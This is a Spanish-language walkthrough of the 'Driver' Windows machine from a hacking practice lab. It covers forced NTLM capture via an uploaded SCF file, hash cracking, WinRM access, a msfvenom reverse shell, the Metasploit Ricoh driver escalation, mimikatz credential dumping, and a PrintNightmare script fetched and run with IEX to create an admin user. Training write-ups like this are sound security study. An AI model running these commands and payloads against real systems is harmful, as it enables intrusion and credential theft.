Driver
Dificultad: Easy - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# nmap -sCV --open -T4 -v -n 10.10.11.106 Resultado:
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 6h52m33s, deviation: 0s, median: 6h52m33s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-06-09T11:18:01
|_ start_date: 2025-06-09T10:45:24En síntesis:
| Puerto | Estado | Servicio | Versión |
|----------|--------|---------------|--------------------------------------------|
| 80/tcp | open | http | Microsoft IIS httpd 10.0 |
| 135/tcp | open | msrpc | Microsoft Windows RPC |
| 445/tcp | open | microsoft-ds | Microsoft Windows 7 - 10 microsoft-ds |
| 5985/tcp | open | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |Algunos de los elementos que nos reveló el escaneo de nmap y que nos pueden ayudar para resolver el ctf son los siguientes:
El puerto 445/tcp (SMB) tiene message signing deshabilitado, lo que abre la posibilidad de ataques relacionados con el protocolo SMB, como la captura de hashes NTLM.
El puerto 5985/tcp ofrece acceso a WinRM (Windows Remote Management), lo que permitirá ejecutar comandos remotos si se obtienen credenciales válidas.
El puerto 135/tcp (MSRPC) está abierto, proporcionando un vector adicional para futuras técnicas de enumeración y explotación.
Información adicional de SMB indica que se está utilizando la cuenta "guest" con autenticación a nivel de usuario, lo que podría permitir interacciones con el recurso compartido de archivos sin privilegios elevados.
challenge_response: supported→ el protocolo SMB en este servidor soporta challenge-response como método de autenticación. Esto es parte del protocolo NTLM: el servidor envía un desafío (challenge) y el cliente responde con una respuesta calculada usando sus credenciales. Este comportamiento es lo que permite, por ejemplo, técnicas como captura de hashes NTLM cuando se fuerza una autenticación hacia el atacante (típicamente vía Responder o impacket-smbserver).
Reconocimiento del puerto 80
Si inspeccionamos el puerto 80 de la máquina nos vamos a encontrar con un mensaje que nos pide credenciales de acceso, al probar con algunas de las credenciales más típicas (admin, password123, administrator, 123456, etc) vamos a poder ingresar.
Nota: el par de credenciales es admin:admin.
Encontramos una página de MFP Firmware Update Center, osea, un portal interno diseñado para la gestión y actualización de firmware de impresoras multifunción (Multi-Function Printer). En contextos corporativos, un centro de actualización de firmware permite que los equipos de IT o los técnicos de soporte carguen, verifiquen y distribuyan actualizaciones de firmware para impresoras en red, a fin de corregir errores, mejorar funcionalidades o cerrar vulnerabilidades. Estos sistemas suelen interactuar con servidores de archivos (como SMB) donde los paquetes de firmware son almacenados temporalmente para su posterior despliegue.
Forced authentication attack
Inspeccionando las diferentes secciones de la página vamos a encontrar el apartado Firmware Updates con el mensaje "Nuestro equipo de pruebas revisará las cargas manualmente y pronto iniciará las pruebas". Y más abajo tenemos la opción para cargar un archivo. Entonces teniendo en cuenta la pista que nos dio nmap con el mensaje challenge_response: supported y que además el puerto SMB está disponible, podemos implementar un ataque de captura de hash NTLM a través de SMB y hacernos con el hash NTLM de algún usuario del sistema. Para implementar este ataque crearemos y cargaremos el siguiente archivo .scf
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# cat pwned.scf
[Shell]
Command = 2
IconFile = "\\$IP\share\test.ico"Nota: en $IP ponemos la IP de nuestra máquina y ya esta listo para cargarlo
Ahora, antes de hacer click en "Submit" vamos a levantar nuestros servidores smb para que esperen esa conexión entrante y capturen el hash. Para este caso podemos usar Responder o impacket-smbserver
impacket-smbserver
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# impacket-smbserver -smb2support share ./
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49414)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:b27498729433deb6736643f32e377270:010100000000000000c93b6bfcd8db01ad07f1d4fc6addb4000000000100100070004600580074005400510066006c000300100070004600580074005400510066006c00020010004d0053006a0053007a00520058005800040010004d0053006a0053007a005200580058000700080000c93b6bfcd8db010600040002000000080030003000000000000000000000000020000021e2c75a70554eed4d7146558ff4bcc587e84fd7ed71b633601d4722460a9f7d0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003200000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:share)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:share)
[*] Closing down connection (10.10.11.106,49414)Responder
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.2]
Responder IPv6 [dead:beef:2::1000]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
Don't Respond To MDNS TLD ['_DOSVC']
TTL for poisoned response [default]
[+] Current Session Variables:
Responder Machine Name [WIN-RVHZJNJUBFB]
Responder Domain Name [SNJY.LOCAL]
Responder DCE-RPC Port [45837]
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.106
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash : tony::DRIVER:8e7fc77ac025cd89:8593DEFDECBAA88A36ACB2CC148C0962:010100000000000000C94F0ADBD8DB0173FAB6838C0A9999000000000200080053004E004A00590001001E00570049004E002D005200560048005A004A004E004A00550042004600420004003400570049004E002D005200560048005A004A004E004A0055004200460042002E0053004E004A0059002E004C004F00430041004C000300140053004E004A0059002E004C004F00430041004C000500140053004E004A0059002E004C004F00430041004C000700080000C94F0ADBD8DB010600040002000000080030003000000000000000000000000020000021E2C75A70554EED4D7146558FF4BCC587E84FD7ED71B633601D4722460A9F7D0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003200000000000000000000000000 El hash capturado lo guardamos en un archivo y se lo pasamos a John the Ripper para crackearlo
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# john -w=/usr/share/wordlists/rockyou.txt ntlmhash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony (tony)
1g 0:00:00:00 DONE (2025-06-09 01:12) 25.00g/s 793600p/s 793600c/s 793600C/s !!!!!!..225566
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.Una vez que obtuvimos credenciales nuevas lo mejor es validarlas contra los servicios más comunes y encontrar el siguiente vector de ingreso. Para automatizar este proceso diseñe el siguiente script en bash que podes descargarlo del siguiente repositorio: service_validation.sh
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# service_validation.sh 10.10.11.106 tony 'liltony'
[*] Probando credenciales contra 10.10.11.106 con usuario 'tony'...
--- Probando smb ---
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.10.11.106 445 DRIVER [+] DRIVER\tony:liltony
--- Probando ldap ---
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
LDAP 10.10.11.106 389 DRIVER [-] DRIVER\tony:liltony Error connecting to the domain, are you sure LDAP service is running on the target?
Error: [Errno 110] Connection timed out
--- Probando winrm ---
WINRM 10.10.11.106 5985 DRIVER [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
WINRM 10.10.11.106 5985 DRIVER [+] DRIVER\tony:liltony (Pwn3d!)
--- Probando rdp ---
--- Probando mssql ---
--- Probando wmi ---
RPC 10.10.11.106 135 DRIVER [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
RPC 10.10.11.106 135 DRIVER [+] DRIVER\tony:liltony
--- Probando ftp ---
--- Probando ssh ---Remote Code Execution con EvilWinRM
Tenemos acceso al servicio WinRM, asique ahora nos vamos a conectar con EvilWinRM
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# evil-winrm -u tony -p liltony -i 10.10.11.106
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> Privilege Escalation Enumeration con winPEAS.exe
Como no se encontraron permisos o grupos del usuario tony que nos permitan escalar privilegios se me ocurrió implementar winPEAS para buscar más a fondo elementos que podamos explotar, lo único que tenemos que hacer es dirigirnos al directorio /temp y cargar el binario de winPEAS allí:
*Evil-WinRM* PS C:\temp> upload /home/kali/Documents/HTB/DRIVER/winPEASx64.exe
Info: Uploading /home/kali/Documents/HTB/DRIVER/winPEASx64.exe to C:\temp\winPEASx64.exe
Data: 13525672 bytes of 13525672 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\temp> ./winPEASx64.exe
ÉÍÍÍÍÍÍÍÍÍ͹ UAC Status
È If you are in the Administrators group check how to bypass the UAC https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#from-administrator-medium-to-high-integrity-level--uac-bypasss
ConsentPromptBehaviorAdmin: 5 - PromptForNonWindowsBinaries
EnableLUA: 1
LocalAccountTokenFilterPolicy: 1
FilterAdministratorToken: 0
[*] LocalAccountTokenFilterPolicy set to 1.
[+] Any local account can be used for lateral movement.
ÉÍÍÍÍÍÍÍÍÍ͹ PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.0.10240.17146
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 134B
ÉÍÍÍÍÍÍÍÍÍ͹ Current TCP Listening Ports
È Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
TCP 0.0.0.0 80 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 135 0.0.0.0 0 Listening 692 svchost
TCP 0.0.0.0 445 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 5985 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 47001 0.0.0.0 0 Listening 4 System
TCP 0.0.0.0 49408 0.0.0.0 0 Listening 464 wininit
TCP 0.0.0.0 49409 0.0.0.0 0 Listening 856 svchost
TCP 0.0.0.0 49410 0.0.0.0 0 Listening 1152 spoolsv
TCP 0.0.0.0 49411 0.0.0.0 0 Listening 808 svchost
TCP 0.0.0.0 49412 0.0.0.0 0 Listening 560 services
TCP 0.0.0.0 49413 0.0.0.0 0 Listening 568 lsass
TCP 10.10.11.106 139 0.0.0.0 0 Listening 4 SystemAlgunos elementos clave que nos enumeró winPEAS:
Hay un proceso
spoolsvcorriendo en el puerto 49410Hay un PS history file disponible en la ruta:
C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtque nos está indicando que en la máquina está instalado el driver de impresora Ricoh PCL6 UniversalDriver V4.23.
*Evil-WinRM* PS C:\temp> type C:\Users\tony\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Add-Printer -PrinterName "RICOH_PCL6" -DriverName 'RICOH PCL6 UniversalDriver V4.23' -PortName 'lpt1:'
ping 1.1.1.1
ping 1.1.1.1 Con esta información ya podemos deducir por dónde hay que realizar la escalada de privilegios, lo más probable es que exista algún exploit que se base en alguna vulnerabilidad de ese driver para escalar privilegios. Una forma de encontrar el exploit indicado para este equipo es con el módulo local_exploit_suggester de msfconsole, pero para usarlo primero tenemos que migrar nuestra reverse shell a meterpreter. Otra opción es buscar algún exploit público en internet para este tipo de drivers. Vamos a desarrollar ambas opciones a continuación:
Reverse shell con Meterpreter
El procedimiento para obtener nuestra sesión en meterpreter es el siguiente:
1) Creamos un payload .exe con msfvenom para cargarlo a la sesión del usuario tony
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes2) En la sesión del usuario tony vamos a ir al directorio /temp y vamos a cargar este payload
*Evil-WinRM* PS C:\Users\tony> cd /
*Evil-WinRM* PS C:\> cd /temp
*Evil-WinRM* PS C:\tdmp> upload /home/kali/Documents/HTB/DRIVER/shell.exe
Info: Uploading /home/kali/Documents/HTB/DRIVER/shell.exe to C:\temp\shell.exe
Data: 98400 bytes of 98400 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\temp> dir
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/10/2025 5:11 AM 73802 shell.exe
*Evil-WinRM* PS C:\temp> ./shell.exe3) Antes de ejecutar el payload vamos a configurar y levantar el listener con meterpreter. Luego si podemos ejecutarlo y se nos abrira una sesion en meterpreter
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# msfconsole
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.4.56-dev ]
+ -- --=[ 2505 exploits - 1291 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.14.2
LHOST => 10.10.14.2
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Sending stage (177734 bytes) to 10.10.11.106
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.11.106:49416) at 2025-06-11 12:47:58 -0400
meterpreter > ps | grep explorer
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
664 656 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
3236 3212 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
3852 656 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
4284 656 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
meterpreter > migrate 4284
[*] Migrating from 4288 to 4284...
[*] Migration completed successfully.4) Una vez que ya está establecida la reverse shell vamos a seleccionar el módulo post/multi/recon/local_exploit_suggester y lo vamos a setear indicándole el número de la sesión (para ver cual es el ID de la sesión podemos usar el comando sessions en msfconsole no en meterpreter)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 10.10.11.106 - Collecting local exploits for x86/windows...
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/logging-2.4.0/lib/logging.rb:10: warning: /usr/lib/x86_64-linux-gnu/ruby/3.3.0/syslog.so was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add syslog to your Gemfile or gemspec to silence this warning.
Also please contact the author of logging-2.4.0 to request adding syslog into its gemspec.
[*] 10.10.11.106 - 204 exploit checks are being tried...
[+] 10.10.11.106 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 10.10.11.106 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.11.106 - exploit/windows/local/bypassuac_fodhelper: The target appears to be vulnerable.
[+] 10.10.11.106 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.11.106 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The target appears to be vulnerable. Vulnerable Windows 10 v1507 build detected!
[+] 10.10.11.106 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 10.10.11.106 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 10.10.11.106 - exploit/windows/local/ricoh_driver_privesc: The target appears to be vulnerable. Ricoh driver directory has full permissions
[+] 10.10.11.106 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 10.10.11.106 - Valid modules for session 2:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_comhijack Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_fodhelper Yes The target appears to be vulnerable.
4 exploit/windows/local/bypassuac_sluihijack Yes The target appears to be vulnerable.
5 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The target appears to be vulnerable. Vulnerable Windows 10 v1507 build detected!
6 exploit/windows/local/cve_2020_1048_printerdemon Yes The target appears to be vulnerable.
7 exploit/windows/local/cve_2020_1337_printerdemon Yes The target appears to be vulnerable.
8 exploit/windows/local/ricoh_driver_privesc Yes The target appears to be vulnerable. Ricoh driver directory has full permissions El resultado nos muestra 8 exploits disponibles para probar con la sesion de meterpreter, el que vamos a usar para este caso es el último, pero antes debemos configurar los siguientes parámetros (en lhost ponemos nuestra ip y en lport el puerto que usamos en el payload original):
msf6 exploit(multi/recon/local_exploit_suggester) > use exploit/windows/local/ricoh_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set session 1
session => 1
msf6 exploit(windows/local/ricoh_driver_privesc) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf6 exploit(windows/local/ricoh_driver_privesc) > set lport 4444
lport => 4444
msf6 exploit(windows/local/ricoh_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > exploit
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Ricoh driver directory has full permissions
[*] Adding printer avXfr...
[*] Sending stage (203846 bytes) to 10.10.11.106
[+] Deleted C:\Users\tony\AppData\Local\Temp\lDmKWnI.bat
[+] Deleted C:\Users\tony\AppData\Local\Temp\headerfooter.dll
[*] Meterpreter session 2 opened (10.10.14.2:4444 -> 10.10.11.106:49418) at 2025-06-11 12:50:44 -0400
[*] Deleting printer avXfrUna vez que el exploit nos abrió una segunda sesión con el usuario SYSTEM podemos cargar el módulo kiwi (mimikatz) para extraer todas las credenciales disponibles o también podemos usar el comando hashdump desde meterpreter
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
Administrator DRIVER d1256cff8b5b5fdb8c327d3b6c3f5017 ebb043e86ea8c322ec441aafe5eaa61729407314
tony DRIVER dfdb5b520de42ca5d1b84ce61553d085 9c886a6088a5cfd8a5702d3914fd7360dcf6d7cc
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator DRIVER (null)
DRIVER$ WORKGROUP (null)
tony DRIVER (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator DRIVER (null)
driver$ WORKGROUP (null)
tony DRIVER (null)
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d1256cff8b5b5fdb8c327d3b6c3f5017:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
tony:1003:aad3b435b51404eeaad3b435b51404ee:dfdb5b520de42ca5d1b84ce61553d085:::
meterpreter > shell
Process 5076 created.
Channel 2 created.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
728c0***************************
C:\Windows\system32>type C:\Users\tony\Desktop\user.txt
type C:\Users\tony\Desktop\user.txt
cc815***************************
Y de esta forma logramos escalar privilegios en este equipo. Nota: si se cae la sesión de meterpreter en repetidas ocasiones te recomiendo que sigas esta secuencia de comandos para agilizar el procedimiento
meterpreter > ps | grep explorer
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2236 652 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
3224 3204 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
4640 652 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
4940 652 explorer.exe x64 1 DRIVER\tony C:\Windows\explorer.exe
meterpreter > migrate 3224
[*] Migrating from 484 to 3224...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > use exploit/windows/local/ricoh_driver_prives
[*] Using exploit/windows/local/ricoh_driver_privesc
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > set session 3
session => 3
msf6 exploit(windows/local/ricoh_driver_privesc) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf6 exploit(windows/local/ricoh_driver_privesc) > set lport 4444
lport => 4444
msf6 exploit(windows/local/ricoh_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ricoh_driver_privesc) > exploit
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Ricoh driver directory has full permissions
[*] Adding printer myNQc...
[*] Sending stage (203846 bytes) to 10.10.11.106
[+] Deleted C:\Users\tony\AppData\Local\Temp\qDmaOH.bat
[+] Deleted C:\Users\tony\AppData\Local\Temp\headerfooter.dll
[*] Meterpreter session 4 opened (10.10.14.2:4444 -> 10.10.11.106:49420) at 2025-06-11 23:11:16 -0400
[*] Deleting printer myNQc
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMEl segundo método para escalar privilegios en esta máquina es cargando y ejecutando el script CVE-2021-1675.ps1 en la sesión de tony, esto básicamente nos permite crear y añadir un usuario al grupo de administradores del sistema para luego usar estas credenciales y conectarnos con EvilWinRM
1) Descargamos el script en nuestro equipo y levantamos un servidor con python para compartir este recurso
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/refs/heads/main/CVE-2021-1675.ps1
--2025-06-12 00:47:22-- https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/refs/heads/main/CVE-2021-1675.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 178561 (174K) [text/plain]
Saving to: ‘CVE-2021-1675.ps1’
CVE-2021-1675.ps1 100%[==============================================>] 174.38K --.-KB/s in 0.01s
2025-06-12 00:47:22 (17.4 MB/s) - ‘CVE-2021-1675.ps1’ saved [178561/178561]
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.106 - - [12/Jun/2025 00:48:53] "GET /CVE-2021-1675.ps1 HTTP/1.1" 200 -En la sesión de tony descargamos el script desde el directorio /temp y lo ejecutamos indicándole el usuario y su contraseña
*Evil-WinRM* PS C:\temp> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/CVE-2021-1675.ps1')
*Evil-WinRM* PS C:\temp> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
tony
The command completed with one or more errors.
*Evil-WinRM* PS C:\temp> Invoke-Nightmare -DriverName "Xerox" -NewUser "pepe" -NewPassword "pepe123"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user pepe as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\temp> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
pepe tony
The command completed with one or more errors.Una vez que creamos al usuario, nos conectamos con sus credenciales via WinRM
┌──(root㉿kali)-[/home/kali/Documents/HTB/DRIVER]
└─# evil-winrm -u pepe -p pepe123 -i 10.10.11.106
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\pepe\Documents> whoami
driver\pepeLast updated